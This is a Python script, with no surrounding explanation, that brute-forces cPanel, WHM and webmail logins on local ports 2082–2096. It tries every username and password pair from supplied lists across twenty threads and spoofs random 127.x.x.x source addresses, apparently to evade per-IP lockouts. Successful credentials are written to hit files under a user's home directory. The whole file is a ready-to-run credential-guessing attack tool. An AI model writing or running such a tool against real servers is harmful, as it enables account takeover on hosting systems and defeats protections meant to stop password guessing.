import socket, ssl, urllib.parse, sys, threading, time, random, os

dst = "127.0.0.1"
PORTS = [2082, 2083, 2086, 2087, 2095, 2096]

def login(src, port, tls, user, pw, timeout=8):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_IP, 15, 1)  # IP_FREEBIND
        s.settimeout(timeout)
        s.bind((src, 0))
        s.connect((dst, port))
        if tls:
            ctx = ssl._create_unverified_context()
            s = ctx.wrap_socket(s, server_hostname="127.0.0.1")
        body = urllib.parse.urlencode({"user": user, "pass": pw})
        req = ("POST /login/?login_only=1 HTTP/1.0\r\nHost: 127.0.0.1:%d\r\n"
               "Content-Type: application/x-www-form-urlencoded\r\n"
               "Content-Length: %d\r\nConnection: close\r\n\r\n%s") % (port, len(body), body)
        s.sendall(req.encode())
        d = b""
        while True:
            c = s.recv(65536)
            if not c:
                break
            d += c
        s.close()
        return d
    except Exception as e:
        return b"EXC:" + str(e).encode()

port_arg = int(sys.argv[1])
ufile = sys.argv[2]
pfile = sys.argv[3]
tag = sys.argv[4] if len(sys.argv) > 4 else str(port_arg)
tls = port_arg in (2083, 2087, 2096)

users = [u.strip() for u in open(ufile) if u.strip()]
pwds = [p.rstrip("\n") for p in open(pfile) if p.strip()]
grid = [(u, p) for u in users for p in pwds]
partition = not (len(sys.argv) > 5 and sys.argv[5] == "0")
idx = PORTS.index(port_arg)
mine = grid[idx::len(PORTS)] if partition else list(grid)
total = len(mine)

lock = threading.Lock()
done = [0]
hits = []
outf = open("/home/filmbigmediaexpe/pw/%s.hit" % tag, "a", buffering=1)
prog = open("/home/filmbigmediaexpe/pw/%s.prog" % tag, "w")

def worker():
    while True:
        with lock:
            if not mine:
                break
            u, p = mine.pop()
            done[0] += 1
            n = done[0]
        src = "127.%d.%d.%d" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
        d = login(src, port_arg, tls, u, p)
        txt = d.decode("utf-8", "replace")
        if txt.startswith("EXC:"):
            d = login(src, port_arg, tls, u, p)
            txt = d.decode("utf-8", "replace")
        if "invalid_login" not in txt and "no_username" not in txt and not txt.startswith("EXC:"):
            with lock:
                hits.append((u, p, txt[:200]))
                outf.write("HIT %s:%s :: %s\n" % (u, p, txt[:200].replace("\n", " ")))
        if n % 100 == 0:
            prog.seek(0); prog.write("%d/%d\n" % (n, total)); prog.truncate(); prog.flush()

ths = [threading.Thread(target=worker) for _ in range(20)]
for t in ths:
    t.start()
for t in ths:
    t.join()
prog.seek(0); prog.write("DONE %d/%d hits=%d\n" % (done[0], total, len(hits))); prog.truncate(); prog.flush()
outf.close(); prog.close()
print("PORT %d %s DONE %d/%d hits=%d" % (port_arg, tag, done[0], total, len(hits)))
